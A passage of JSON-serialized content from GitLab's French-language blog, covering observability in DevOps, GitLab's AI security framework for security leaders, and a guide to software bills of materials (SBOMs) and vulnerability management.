techniques et commerciales. La technologie étant de plus en plus prégnante au sein de chaque pilier d'activité d'un groupe, les indicateurs clés de performance de l'infrastructure logicielle se confondent avec ceux de l'entreprise. L'observabilité peut ainsi fournir une meilleure vision des indicateurs clés de performance, et des options utilisables en libre-service pour les différentes équipes.\n\nLa qualité de l'expérience utilisateur (UX) se doit d'être au cœur des logiciels et applications modernes. Comme l'illustre l'histoire précédente, la surveillance des mesures statiques ne suffit pas pour connaître l'ensemble des performances de l'expérience utilisateur ou du système. Des tableaux de bord apparemment sains peuvent cacher de graves problèmes. \n\n## Quelles sont les mesures clés de l'observabilité ?\n\nPour les entreprises qui souhaitent utiliser des outils d'observabilité, leur mise en œuvre passe par l'identification d’objectifs principaux de l'observabilité et de la manière dont elle peut être implémentée au sein de leur structure informatique.\n\nLes trois piliers de l'observabilité constituent un excellent point de départ :\n- Les journaux (ou logs) : le suivi des informations et des événements,\n- Les métriques : la mesure de métriques spécifiques et de données de performance,\n- Le traçage : l'enregistrement des performances des requêtes d'un bout à l'autre de leur exécution.\n\nS'ils ont pu paraître insurmontables au départ, des projets comme [OpenTelemetry](https://opentelemetry.io/ \"OpenTelemetry\") aident à standardiser les normes de journalisation, de métriques et de traçage, créant ainsi un écosystème plus cohérent et un retour sur investissement plus rapide pour les entreprises mettant en œuvre l'observabilité.\n\nDes données et des piliers supplémentaires pour l'observabilité incluent :\n\n- Le suivi des erreurs : des journaux à l'information plus fine et agrégée,\n- Le *Continuous Profiling* : l'évaluation de la performance du code en temps réel dans l'environnement de production\n- Le *Real User Monitoring (RUM)* : la surveillance de l'utilisateur réel pour comprendre les performances de l'application de son point de vue.\n\nUn thème commun émerge de l'examen de ces piliers. Un examen limité dans le temps et dans l'espace ne suffit plus. Les systèmes distribués modernes requièrent une vision globale. Pour comprendre les performances d'une application, il faut d’abord effectuer un échantillonnage au niveau du client réel, et effectuer ensuite une analyse complète de ses interactions avec l'ensemble des composants du logiciel.\n\nAu-delà de la surveillance traditionnelle des applications, l'observabilité contribue à améliorer l'excellence opérationnelle des équipes d'ingénierie. C'est souvent à partir de pannes réelles et des leçons que nous en tirons que nous concevons des programmes de surveillance efficaces. La mise en œuvre de l'ingénierie du chaos permet de tester les outils d'observabilité lors de défaillances réelles, mais dans un environnement contrôlé, avec des résultats connus à l'avance. Cette approche peut apporter des gains significatifs en termes d'équilibre opérationnel, dans des systèmes où des « inconnus inconnus » peuvent se cacher dans n'importe quel workflow de l'infrastructure IT. \n\n## L'observabilité, un élément essentiel de l’approche DevOps\n\nL'observabilité est essentielle pour les [équipes DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"DevOps\"), mais aussi pour l'ensemble de l'entreprise. En remplaçant les données statiques des solutions de surveillance traditionnelles, l'[observabilité](https://about.gitlab.com/blog/observability-is-key-to-cloud-native-transitions-and-modern-application-development/ \"Observabilité\") offre une vue complète de l'infrastructure applicative.\n\nLes équipes DevOps doivent collaborer avec toutes les parties prenantes pour améliorer la mise en œuvre de l'observabilité au sein de l'entreprise et s'assurer qu'elle profite à l'ensemble des équipes. Il est aussi important de former et de sensibiliser les équipes de développement aux avantages de l'observabilité.\n\nLes équipes DevOps peuvent également aider à identifier plus rapidement la cause première des incidents de production. Une bonne instrumentation du code des applications facilitera aussi la distinction entre problèmes de code et d'infrastructure. Enfin, en déplaçant l'observabilité plus en amont dans le cycle de conception logicielle, de possibles dévers dans les objectifs de niveau de service (SLO) peuvent être détectés plus tôt.\n\nLes équipes DevOps qui souhaitent améliorer significativement les performances des applications et les résultats de l'entreprise peuvent considérer l'observabilité comme un moyen d'atteindre ces deux objectifs.\n","engineering",[1044,9,1045],"DevOps","performance",{"slug":1047,"featured":6,"template":689},"observability-vs-monitoring-in-devops","content:fr-fr:blog:observability-vs-monitoring-in-devops.yml","Observability Vs Monitoring In Devops","fr-fr/blog/observability-vs-monitoring-in-devops.yml","fr-fr/blog/observability-vs-monitoring-in-devops",{"_path":1053,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":1054,"content":1059,"config":1067,"_id":1069,"_type":13,"title":1070,"_source":15,"_file":1071,"_stem":1072,"_extension":18},"/fr-fr/blog/the-gitlab-ai-security-framework-for-security-leaders",{"config":1055,"title":1056,"description":1057,"ogTitle":1056,"ogDescription":1057,"ogImage":1058},{"noIndex":6},"Sécurité et IA : tout savoir sur le framework de GitLab","Découvrez comment les contrôles de sécurité, intégrations tierces et les politiques de rétention de GitLab Duo aident à implémenter l'IA en toute sécurité.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749664299/Blog/Hero%20Images/AdobeStock_887599633.jpg",{"tags":1060,"heroImage":1058,"authors":1061,"title":1056,"description":1064,"date":1065,"body":1066,"category":729},[685,702,753,9],[1062,1063],"Kyle Smith","Ayoub Fandi","Découvrez comment les contrôles de sécurité, les intégrations tierces et les politiques de rétention de GitLab Duo aident les équipes à implémenter l'IA en toute sécurité dans leur workflow de développement.","2025-09-11","Alors que les entreprises adoptent rapidement les technologies d'IA, les responsables de la sécurité des systèmes d'information (RSSI) font face à de nouveaux défis en matière de sécurité. De nombreux RSSI sont en effet confrontés à des questions inédites : comment évaluer les fournisseurs d'IA par rapport aux fournisseurs de logiciels traditionnels ? Quels sont les contrôles de sécurité les plus importants ? Où s'arrête la responsabilité du fournisseur et où commence celle du client ? Comment évaluer les risques de sécurité liés à l'IA dans le contexte du service fourni ? \n\nPour répondre à ces questions, nous avons créé le [framework de sécurité relatif à l'IA de GitLab](https://trust.gitlab.com/?itemUid=ad3d92c1-889e-49fc-b19c-2434f70071ee&source=click) afin de montrer aux responsables de la sécurité comment GitLab et ses clients peuvent garantir un développement sécurisé alimenté par l'IA avec [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/ \" Qu'est-ce que GitLab Duo ?\").\n\n## La genèse des défis de sécurité liés à l'IA\n\nLes responsables sécurité de divers secteurs mentionnent tous le même schéma : leurs organisations adoptent rapidement les technologies d'IA pour améliorer la livraison logicielle, alors que leurs équipes sécurité peinent à établir des contrôles adéquats.\n\nCette problématique n'est pas simplement une question de ressources ou d'expertise, elle représente un changement fondamental dans la façon dont les organisations doivent aborder la sécurité à l'ère de l'IA. Les responsables sécurité assistent à une adoption rapide et sans précédent de l'IA dans leurs organisations, des équipes de développement aux départements marketing.\n\nLes organisations intègrent l'IA dans leurs propres logiciels, et nombre de leurs applications SaaS actuelles ont également des fonctionnalités d'IA. Bien que cette adoption favorise l'innovation et l'efficacité, elle crée également un ensemble complexe de problématiques de sécurité que les frameworks traditionnels n'étaient pas conçus pour traiter. \n\nVoici quelques-uns des défis spécifiques que nous avons identifiés.\n\n## Les défis de sécurité à l'ère de l'IA\n\n**1. Incertitudes concernant la responsabilité et le contrôle**\n\nEn raison du rythme rapide d'adoption de l'IA, de nombreuses organisations se retrouvent sans stratégie cohérente de gouvernance de sécurité. Les équipes de sécurité doivent alors essayer d'adapter les frameworks de sécurité existants pour répondre aux préoccupations spécifiques à l'IA. Quant aux responsables sécurité, ils tentent de comprendre où commencent et s’arrêtent leurs responsabilités en matière de sécurité liée à l'IA. La traditionnelle relation fournisseur-client se complexifie avec les systèmes d'IA, car les flux de données, l'entraînement des modèles et les processus d'inférence créent de nouveaux types d'interactions et de dépendances.\n\n**2. Évolution de l'évaluation des risques**\n\nLes modèles de risques de sécurité traditionnels peinent à capturer les caractéristiques uniques des systèmes d'IA. Les responsables sécurité constatent que les frameworks standards d'évaluation des risques ne traitent pas correctement les risques de sécurité spécifiques à l'IA, qui diffèrent selon l'implémentation et le contexte d'utilisation. Plus difficile encore, les organisations doivent évaluer les fournisseurs d'IA alors que leurs équipes de sécurité ne disposent pas forcément d'une expertise technique approfondie sur ce sujet.\n\n**3. Complexification de la protection des données**\n\nLes systèmes d'IA présentent des défis uniques en matière de protection des données. La façon dont ces systèmes traitent, apprennent et génèrent des données crée de nouveaux problèmes de confidentialité et de sécurité que les organisations doivent évaluer soigneusement. Les RSSI sont tenus de s'assurer que leurs frameworks de gouvernance des données évoluent afin de pouvoir s'adapter à la façon dont les systèmes d'IA utilisent et protègent les informations sensibles. Implémenter l'IA sans mesures de protection adéquates pourrait révéler par inadvertance des informations confidentielles dans les résultats générés par l'IA.\n\n**4. Conformité et normes**\n\nLe paysage réglementaire relatif à la sécurité de l'IA évolue rapidement : de nouvelles normes, notamment la [norme ISO 42001](https://about.gitlab.com/fr-fr/blog/gitlab-achieves-iso-iec-42001-certification-for-ai-governance/), sont mises en place en parallèle des frameworks existants. Les responsables sécurité doivent apprendre à gérer cet environnement complexe et s'assurer que leurs implémentations d'IA restent conformes aux réglementations actuelles et futures. Ils doivent trouver un équilibre entre adoption de l'IA et contrôles de sécurité robustes qui répondent aux exigences réglementaires.\n\n## Comment relever ces défis ?\n\nPour répondre aux préoccupations des RSSI, nous avons développé un framework complet pour aider les organisations à gérer la sécurité de l'IA dans le contexte de notre plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\") alimentée par l'IA. Notre framework de sécurité relatif à l'IA détaille notre implémentation axée sur la confidentialité de l'IA dans GitLab Duo et les procédures de validation de sécurité de nos fournisseurs d'IA. Il comprend également une matrice de responsabilités pour aider les responsables sécurité à gérer leurs tâches liées à la sécurité de l'IA et à innover dans un environnement sécurisé. Nous avons également compilé une sélection de risques de sécurité spécifiques à l'IA à garder à l'esprit et mis en évidence la façon dont les fonctionnalités de GitLab comme les [garde-fous relatifs aux prompts](https://about.gitlab.com/blog/how-gitlab-uses-prompt-guardrails-to-help-protect-customers/) peuvent aider à les atténuer.\n\n> Vous souhaitez en savoir plus sur nos contrôles de sécurité ? Consultez notre [framework de sécurité relatif à l'IA](https://trust.gitlab.com/?itemUid=ad3d92c1-889e-49fc-b19c-2434f70071ee&source=click).\n\n## En savoir plus\n\n* [Centre pour la transparence de l'IA de GitLab](https://about.gitlab.com/fr-fr/ai-transparency-center/)\n* [Améliorer la sécurité de l'IA dans GitLab avec des identités composites](https://about.gitlab.com/blog/improve-ai-security-in-gitlab-with-composite-identities/)\n* [Sécurité, conformité et IA : découvrez 3 nouvelles fonctionnalités GitLab](https://about.gitlab.com/blog/secure-compliant-and-ai-powered-get-to-know-3-new-gitlab-features/)\n* [Informations clés sur l'IA et sécurité de notre communauté de développeurs](https://about.gitlab.com/blog/icymi-key-ai-and-security-insights-from-our-developer-community/)",{"featured":6,"template":689,"slug":1068},"the-gitlab-ai-security-framework-for-security-leaders","content:fr-fr:blog:the-gitlab-ai-security-framework-for-security-leaders.yml","The Gitlab Ai Security Framework For Security Leaders","fr-fr/blog/the-gitlab-ai-security-framework-for-security-leaders.yml","fr-fr/blog/the-gitlab-ai-security-framework-for-security-leaders",{"_path":1074,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":1075,"content":1081,"config":1089,"_id":1091,"_type":13,"title":1092,"_source":15,"_file":1093,"_stem":1094,"_extension":18},"/fr-fr/blog/the-ultimate-guide-to-sboms",{"title":1076,"description":1077,"ogTitle":1076,"ogDescription":1077,"noIndex":6,"ogImage":1078,"ogUrl":1079,"ogSiteName":673,"ogType":674,"canonicalUrls":1079,"schema":1080},"Qu’est-ce qu’une nomenclature logicielle (SBOM) et quel est son rôle ?","Découvrez ce qu'est une nomenclature logicielle et pourquoi elle fait désormais partie intégrante du développement logiciel. Lisez notre guide complet.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664571/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","https://about.gitlab.com/blog/the-ultimate-guide-to-sboms","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Qu’est-ce qu’une nomenclature logicielle (SBOM) et quel est son rôle ?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-10-25\",\n      }",{"title":1076,"description":1077,"authors":1082,"heroImage":1078,"date":1084,"body":1085,"category":9,"tags":1086,"updatedDate":1088},[1083],"Sandra Gittlen","2022-10-25","Une nomenclature logicielle (ou SBOM) est une liste complète des composants d’un logiciel qui facilite la compréhension du réseau complexe de bibliothèques, d'outils et de processus utilisés tout au long du cycle de développement. Associées à des outils de gestion des vulnérabilités, les SBOM ne se contentent pas de révéler les vulnérabilités potentielles des logiciels, mais ouvrent également la voie à une stratégie d'atténuation des risques. \n\nDécouvrez dans ce guide tout ce que vous devez savoir sur les SBOM, ainsi que le rôle central qu'elles jouent dans une stratégie [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") multifacette : \n\n- [Qu'est-ce qu'une SBOM ?](#quest-ce-quune-sbom)\n- [Pourquoi les SBOM sont-elles importantes ?](#pourquoi-les-sbom-sont-elles-importantes)\n- [Quels sont les types de normes d'échange de données SBOM ?](#quels-sont-les-types-de-normes-dechange-de-donnees-sbom)\n- [Quels sont les avantages de l'association des SBOM avec la gestion des vulnérabilités logicielles ?](#quels-sont-les-avantages-de-lassociation-des-sbom-avec-la-gestion-des-vulnerabilites-logicielles)\n- [GitLab et les SBOM dynamiques](#gitlab-et-les-sbom-dynamiques)\n- [L'avenir des fonctionnalités SBOM de GitLab](#lavenir-des-fonctionnalites-sbom-de-gitlab)\n- [Commencez à utiliser les SBOM](#commencez-à-utiliser-les-sbom)\n\n## Qu'est-ce qu'une SBOM ?\n\nUne SBOM est un inventaire imbriqué ou une [liste des ingrédients qui constituent les composants logiciels](https://www.cisa.gov/sbom# \"Définition d'une SBOM\"). Les SBOM comprennent des informations critiques sur les bibliothèques, outils et processus utilisés pour développer, construire et déployer un artefact logiciel. \n\nBien que les SBOM soient souvent créées avec des logiciels autonomes, des plateformes DevSecOps comme GitLab intègrent la génération de SBOM dans un workflow DevSecOps.\n\n![Sécurité de la chaîne d'approvisionnement SDLC](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/supply_chain_security_sdlc.png)\n\n### Pourquoi les SBOM sont-elles importantes ?\n\nAujourd'hui, le secteur du développement logiciel a tendance à prioriser rapidité et efficacité pour la livraison de logiciels. Cependant, cela induit parfois des __risques de sécurité__ via l'intégration de code moins sécurisé provenant de dépôts open source ou de paquets propriétaires.\n\nSelon le rapport « Open Source Security and Risk Analysis » de Synopsys (2024), qui a analysé plus de 1 000 bases de code commerciales issues de 17 industries différentes en 2023, 96 % de ces bases contenaient du code open source et 84 % de celles évaluées pour les risques contenaient des vulnérabilités.\n\nÀ la lecture de ce rapport, il devient clair qu'intégrer du code provenant de dépôts inconnus augmente le risque de failles exploitables par les hackers.\n\nUn exemple connu, l'[attaque de SolarWinds](https://fr.wikipedia.org/wiki/Cyberattaque_de_2020_contre_les_%C3%89tats-Unis \"Attaque de SolarWinds\") en 2020, a été déclenchée par l'activation d'une __injection malveillante de code__ dans un paquet utilisé par le produit Orion de SolarWinds. Cette dernière n'a pas été sans conséquences puisqu'elle a fortement affecté les clients de l’ensemble de la chaîne d'approvisionnement logicielle.\n\nCette attaque, comme bien d'autres (par exemple, la __vulnérabilité Log4j__) ont mis en lumière l'importance d'effectuer une analyse approfondie des dépendances des applications, y compris des __conteneurs et de l'infrastructure__, afin d'évaluer les [risques potentiels tout au long de la chaîne d'approvisionnement logicielle](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/ \"Sécurité de la chaîne d'approvisionnement logicielle\").\n\nLe coût lié à l'identification et à la correction d’une faille de sécurité est un facteur important à ne pas négliger. Mais au-delà de l'aspect financier, une attaque sur la chaîne d'approvisionnement logicielle peut gravement affecter __la réputation d'une entreprise__.\n\nNon seulement les SBOM permettent de __limiter les risques d'attaques__ (et donc de préserver votre réputation), mais elles contribuent également à optimiser les coûts liés à la gestion des vulnérabilités : \n\n- En offrant un aperçu de vos dépendances,\n- En identifiant les vulnérabilités ainsi que les licences non conformes aux protocoles de sécurité internes à votre entreprise. \n\n## Quels sont les types de normes d'échange de données SBOM ?\n\nLes SBOM fonctionnent de manière optimale lorsque la génération et l'interprétation d'informations telles que __le nom, la version, ou encore l’empaqueteur, peuvent être automatisées__. Cette automatisation est optimale si toutes les parties prenantes impliquées utilisent un format standard d'échange de données. \n\nIl existe deux principaux types de normes d'échange de données SBOM utilisées aujourd'hui :\n\n- [OWASP CycloneDX](https://cyclonedx.org/capabilities/sbom/ \"OWASP CycloneDX\")\n- [SPDX](https://spdx.dev/ \"SPDX\")\n\nGitLab utilise CycloneDX pour la génération de SBOM, car cette norme est :\n\n- prescriptive (marque un ensemble de normes objectives),\n- facile à comprendre et à prendre en main, \n- capable de simplifier les relations complexes, \n- extensible pour prendre en charge et s'adapter à des cas spécifiques.\n\nDe plus, il existe des outils open source comme cyclonedx-cli et cdx2spdx qui peuvent être utilisés pour convertir des fichiers CycloneDX au format SPDX si nécessaire.\n\n## Quels sont les avantages de l'association des SBOM avec la gestion des vulnérabilités logicielles ?\n\nLes SBOM sont très utiles pour les équipes DevSecOps et les utilisateurs de logiciels, et ce, pour plusieurs raisons :\n\n - Elles permettent une __approche standardisée__ pour comprendre quels composants logiciels supplémentaires sont présents dans une application et où ils sont déclarés.\n - Elles offrent une visibilité continue sur l'__historique de création d'une application__, y compris des détails sur les origines du code tiers et les dépôts hôtes.\n- Elles fournissent un haut niveau de transparence en matière de sécurité, tant pour le code développé en interne que pour les logiciels open source utilisés.\n- Les détails fournis par les SBOM permettent aux [équipes DevOps](https://about.gitlab.com/fr-fr/topics/devops/build-a-devops-team/ \"Construire une équipe DevOps\") d'identifier les vulnérabilités, d'évaluer les risques, puis de les atténuer. \n- Les SBOM fournissent la transparence désormais attendue par les acheteurs d'applications.\n\n## GitLab et les SBOM dynamiques\n\nPour que les SBOM soient les plus efficaces possibles, les entreprises doivent être en mesure :\n\n- de les générer automatiquement,\n- de les connecter à des outils d'analyse de sécurité des applications,\n- d’intégrer les vulnérabilités et les licences dans un tableau de bord (pour faciliter la compréhension et la prise de décision),\n- de les mettre à jour en continu.\n\nSachez que GitLab prend en charge tous ces objectifs. \n\n![Illustration de la gestion dynamique des SBOM](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/Screenshot_2024-05-03_at_10.53.28_AM.png)\n\n### Générer et gérer des SBOM à grande échelle\n\nPour se conformer aux réglementations ainsi qu'aux politiques internes de votre entreprise, il est essentiel de disposer de SBOM capables de couvrir tant les logiciels open source que les logiciels tiers et propriétaires.\n\nIl est également nécessaire de mettre en place un processus optimisé afin de créer, fusionner, valider et approuver les SBOM. C'est une condition essentielle à la bonne gestion des SBOM, et ce, pour chaque composant et version de produit.\n\nComment la plateforme GitLab peut-elle vous aider dans la génération de SBOM ? \n\n- La fonctionnalité « [Liste des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_list/ \"Liste des dépendances de GitLab\") » rassemble les données connues sur les vulnérabilités et les licences dans une vue unique disponible au sein de l'interface utilisateur de GitLab. \n- Des informations sur le graphe des dépendances sont générées dans le cadre du rapport d'analyse des dépendances. Cela permet aux utilisateurs d'obtenir une vue d'ensemble complète sur les dépendances et les vulnérabilités potentielles au sein de leurs projets ou groupes de projets.  \n- Un artefact au format JSON CycloneDX peut être produit dans le [pipeline CI](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI ?\"). Cette API propose une approche plus nuancée et personnalisée de la génération de SBOM. \n- Les SBOM sont exportables depuis l'interface utilisateur, un pipeline ou un projet spécifique, ou via l'API GitLab.\n\n### Ingérer et fusionner des SBOM\n\nEn ingérant des SBOM tiers, GitLab offre un haut degré de transparence en matière de sécurité, que ce soit pour le code développé par des tiers que pour les logiciels open source utilisés. \n\nGitLab vous permet d'utiliser un job [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ? \") pour fusionner simplement plusieurs SBOM CycloneDX. En s'appuyant sur les détails spécifiques à l'implémentation dans les métadonnées CycloneDX de chaque SBOM (comme l'emplacement des fichiers de compilation et de verrouillage), __GitLab élimine les doublons__. Ces données sont également enrichies automatiquement avec des informations sur les licences et les vulnérabilités des composants à l'intérieur de la nomenclature logicielle. \n\n### Accélérer l'atténuation des risques pour une meilleure gestion des SBOM\n\nPour pouvoir créer rapidement des produits de haute qualité, les équipes de développement ont besoin de données exploitables pour identifier et corriger les vulnérabilités critiques des applications. GitLab contribue à sécuriser votre chaîne d'approvisionnement logicielle en [analysant les vulnérabilités](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html \"Comment sécuriser son application ? \") dans le code source, dans les conteneurs, les dépendances et les applications en cours d'exécution.\n\nGitLab offre une couverture complète pour aider dans la gestion des vulnérabilités (vulnerability management) grâce à sa large panoplie de scanners de sécurité : \n\n- des tests statiques de sécurité des applications ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/ \"SAST\"))\n- des tests dynamiques de sécurité des applications ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/ \"DAST\"))\n- l'analyse des conteneurs\n- l'analyse de la composition logicielle ([SCA](https://about.gitlab.com/direction/secure/composition-analysis/software-composition-analysis/ \"SCA\")) \n\nPour aider les équipes de développement et d'ingénierie en sécurité à mieux comprendre et corriger les vulnérabilités, GitLab met à disposition de ses utilisateurs la fonctionnalité d'explication des vulnérabilités de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/ \"GitLab Duo \"). Cette fonctionnalité alimentée par l'IA fournit une explication sur une vulnérabilité spécifique, comment elle peut être exploitée et, surtout, fournit une recommandation sur la manière de la corriger. Combinée à la [fonctionnalité de résolution des vulnérabilités de GitLab Duo](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities/ \"Développement de GitLab Duo : corriger les failles de sécurité avec l'IA\"), cette fonctionnalité permet aux équipes DevSecOps de rapidement identifier, analyser et corriger les vulnérabilités de leurs applications.\n\nLa plateforme prend également en charge la création de nouvelles règles (et le [respect de leur application](https://docs.gitlab.com/ee/administration/compliance.html)) basées sur les vulnérabilités nouvellement détectées.\n\n### Analyser les SBOM en continu \n\nL’analyse continue des vulnérabilités de GitLab déclenche une analyse sur tous les projets où l'analyse des conteneurs, l'analyse des dépendances, ou les deux, sont activées indépendamment d'un pipeline.\n\nLorsque de nouvelles CVE (Common Vulnerabilities and Exposures) sont signalées, les utilisateurs n'ont pas besoin de relancer leurs pipelines pour obtenir les dernières informations.\n\nEn effet, l'équipe de recherche sur les vulnérabilités de GitLab les ajoute à la base de données des avis ([GitLab Advisory Database](https://docs.gitlab.com/ee/user/application_security/gitlab_advisory_database/ \"GitLab Advisory Database\")) pour être intégrées dans la liste des vulnérabilités connues de GitLab. Cela rend la SBOM de GitLab véritablement dynamique. \n\n### Renforcer la confiance dans les SBOM\n\nGitLab permet aux entreprises nécessitant une [fonctionnalité de conformité](https://about.gitlab.com/fr-fr/solutions/compliance/ \"La conformité des logiciels avec GitLab\") de [générer des attestations pour tous les artefacts de compilation](https://about.gitlab.com/blog/securing-the-software-supply-chain-through-automated-attestation/ \"Sécuriser la chaîne d'approvisionnement logicielle grâce à l'attestation automatisée\") produits par le GitLab Runner. Le processus est sécurisé, car il est réalisé directement par le [GitLab Runner](https://docs.gitlab.com/runner/ \"GitLab Runner\"), sans qu'il y ait de transfert de données vers un service externe.\n\n## L'avenir des fonctionnalités SBOM de GitLab\n\nLes attaques fréquentes contre de grands fournisseurs de logiciels et sur les environnements open source obligent le monde du développement à renforcer ses défenses contre les menaces extérieures. Pour cette raison, la sécurité de la chaîne d'approvisionnement des logiciels est aujourd'hui un sujet central dans l'industrie de la cybersécurité et du logiciel. \n\nBien que les SBOM évoluent rapidement, des préoccupations subsistent néanmoins. Par exemple : \n\n- la manière et la fréquence dont elles sont générées\n- leur stockage\n- la combinaison de plusieurs SBOM pour des applications complexes\n- leur analyse et utilisation pour améliorer la santé des applications.\n\nGitLab a fait des SBOM une partie intégrante de sa stratégie en matière de [chaîne d'approvisionnement logicielle](https://about.gitlab.com/direction/supply-chain/ \"Chaîne d'approvisionnement logicielle\") et continue d'améliorer ses capacités SBOM en permanence, en intégrant régulièrement de nouvelles fonctionnalités.\n\nParmi ces améliorations, nous retrouvons entre autres : l'automatisation des attestations, la signature numérique des artefacts de compilation et la prise en charge des SBOM générées en externe.\n\nGitLab a également mis en place un [modèle de maturité SBOM](https://handbook.gitlab.com/handbook/security/security-assurance/dedicated-compliance/sbom-plan/ \"Modèle de maturité SBOM\") (SBOM Model Maturity) au sein de sa plateforme. Ce modèle inclut des étapes comme la génération automatique de SBOM, l’approvisionnement en SBOM depuis l'environnement de développement, l’analyse des SBOM pour les artefacts et la promotion de la signature numérique des SBOM.\n\n## Commencez à utiliser les SBOM\n\nLa demande en SBOM est déjà très forte.\n\nAux États-Unis, les agences gouvernementales recommandent, voire exigent des fournisseurs et des développeurs de logiciels fédéraux, et même des communautés open source qu'ils créent des SBOM. \n\nA l'échelle européenne, ce sujet est traité au sein du [règlement sur la cyberrésilience (CRA)](https://digital-strategy.ec.europa.eu/fr/news/cyber-resilience-act-enters-force-make-europes-cyberspace-safer-and-more-secure \"règlement sur la cyberrésilience\"). Quant à la France, c'est l'[Agence nationale de la sécurité des systèmes d'information](https://cyber.gouv.fr/ \"Agence nationale de la sécurité des systèmes d'information\") (ANSSI) qui tranche sur ce type de sujets. \n\nAinsi, que ce soit aux États-Unis, en France, mais aussi ailleurs dans le monde, les agences liées à la sécurité informatique informent sur les menaces grandissantes qui pèsent sur le monde du développement logiciel et numérique plus globalement. \n\nPour anticiper ces exigences, consultez les fonctionnalités SBOM de l'édition GitLab Ultimate disponibles dans la [plateforme DevSecOps de GitLab](https://gitlab.com/-/trials/new \"Essai gratuit de la plateforme GitLab \").\n\n## FAQ sur les SBOM\n\n### Qu'est-ce qu'une SBOM ?\n\nUne SBOM est un inventaire détaillé qui répertorie tous les composants, bibliothèques et outils utilisés pour créer, construire et déployer des logiciels. Cette liste exhaustive inclut des informations essentielles sur les origines du code. Cela favorise une compréhension plus approfondie de la composition d'une application et de ses vulnérabilités potentielles.\n\n### Pourquoi les SBOM sont-elles si importantes ?\n\nLes SBOM sont essentielles pour plusieurs raisons. Elles fournissent :\n\n- __Un aperçu des dépendances.__ Elles permettent de comprendre ce qui compose votre logiciel, et donc de mieux identifier et atténuer les risques associés aux composants tiers.\n- __Une sécurité renforcée.__ Avec une visibilité détaillée des composants de leurs applications, les entreprises peuvent rapidement identifier leurs vulnérabilités et prendre des mesures pour les résoudre.\n- __Une conformité réglementaire.__ De plus en plus, les réglementations et les meilleures pratiques recommandent ou exigent une SBOM pour l'empaquetage de logiciels, en particulier dans le secteur public.\n- __Un développement rationalisé.__ Les équipes de développement peuvent s'appuyer sur les SBOM pour obtenir des informations sur les bibliothèques et les composants utilisés, ce qui permet de gagner du temps et de réduire les erreurs dans le cycle de développement logiciel. \n\n### Quels formats sont utilisés pour l'échange de données SBOM ?\n\nIl existe deux normes prédominantes pour l'échange de données SBOM : \n\n- [CycloneDX](https://docs.gitlab.com/ee/user/compliance/license_scanning_of_cyclonedx_files/ \"CycloneDX\") : connue pour être particulièrement intuitive, CycloneDX simplifie les relations complexes entre les composants logiciels et prend en charge des cas d'utilisation spécifiques. \n- [SPDX](https://docs.gitlab.com/ee/raketasks/spdx.html \"SPDX\") : un autre framework largement utilisé pour l'échange de données SBOM. SPDX fournit des informations détaillées sur les composants au sein de l'environnement logiciel. \n\nEn raison de sa nature normative et de son adaptabilité, GitLab utilise spécifiquement CycloneDX pour sa génération de SBOM.\n\n### Quelle est l’approche de GitLab en matière de SBOM ?\n\nGitLab met l'accent sur la création de SBOM dynamiques qui peuvent être : \n\n- Générées automatiquement : garantir des informations à jour sur la composition logicielle\n- Intégrées avec des outils : se connecter à des outils d’analyse de vulnérabilités, pour une meilleure gestion des risques. \n- Faciles à gérer : prendre en charge l'ingestion et la fusion des SBOM pour une analyse complète \n- Analysées en continu : offrir une analyse continue des projets pour détecter les nouvelles vulnérabilités au fur et à mesure de leur apparition\n\n### Comment puis-je commencer à implémenter les SBOM dans mon entreprise ?\n\nPour les entreprises prêtes à adopter les SBOM, l'édition [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/ \"GitLab Ultimate\") met à disposition des utilisateurs une plateforme robuste pour générer et gérer des SBOM au sein d'un workflow DevSecOps. En tirant parti des outils de GitLab, les équipes de développement peuvent garantir la conformité logicielle, renforcer la sécurité et optimiser les pratiques de développement.\n\nLa demande croissante de SBOM reflète l’importance grandissante accordée à la sécurité logicielle et à l'intégrité de la chaîne d'approvisionnement. En intégrant les fonctionnalités SBOM, les entreprises peuvent mieux se protéger contre les vulnérabilités et se conformer aux nouvelles réglementations en vigueur.\n\n> [Essayez GitLab Ultimate gratuitement.](https://about.gitlab.com/free-trial/fr-fr/devsecops/ \"Essai gratuit de GitLab Ultimate\")\n\n*Avertissement : cet article de blog contient des informations relatives aux produits, fonctionnalités et caractéristiques à venir. Il est important de noter que les informations contenues dans cet article de blog ne sont fournies qu'à titre informatif. Veuillez ne pas vous fier à ces informations à des fins d'achat ou de planification. Comme pour tout projet, les éléments mentionnés dans cet article (et les pages qui y sont liées) sont susceptibles de changer ou d'être retardés. Le développement, la sortie et le calendrier de tout produit ou fonctionnalité restent à la seule discrétion de GitLab.*\n",[9,684,1045,1087,186],"open source","2024-12-16",{"slug":1090,"featured":6,"template":689},"the-ultimate-guide-to-sboms","content:fr-fr:blog:the-ultimate-guide-to-sboms.yml","The Ultimate Guide To 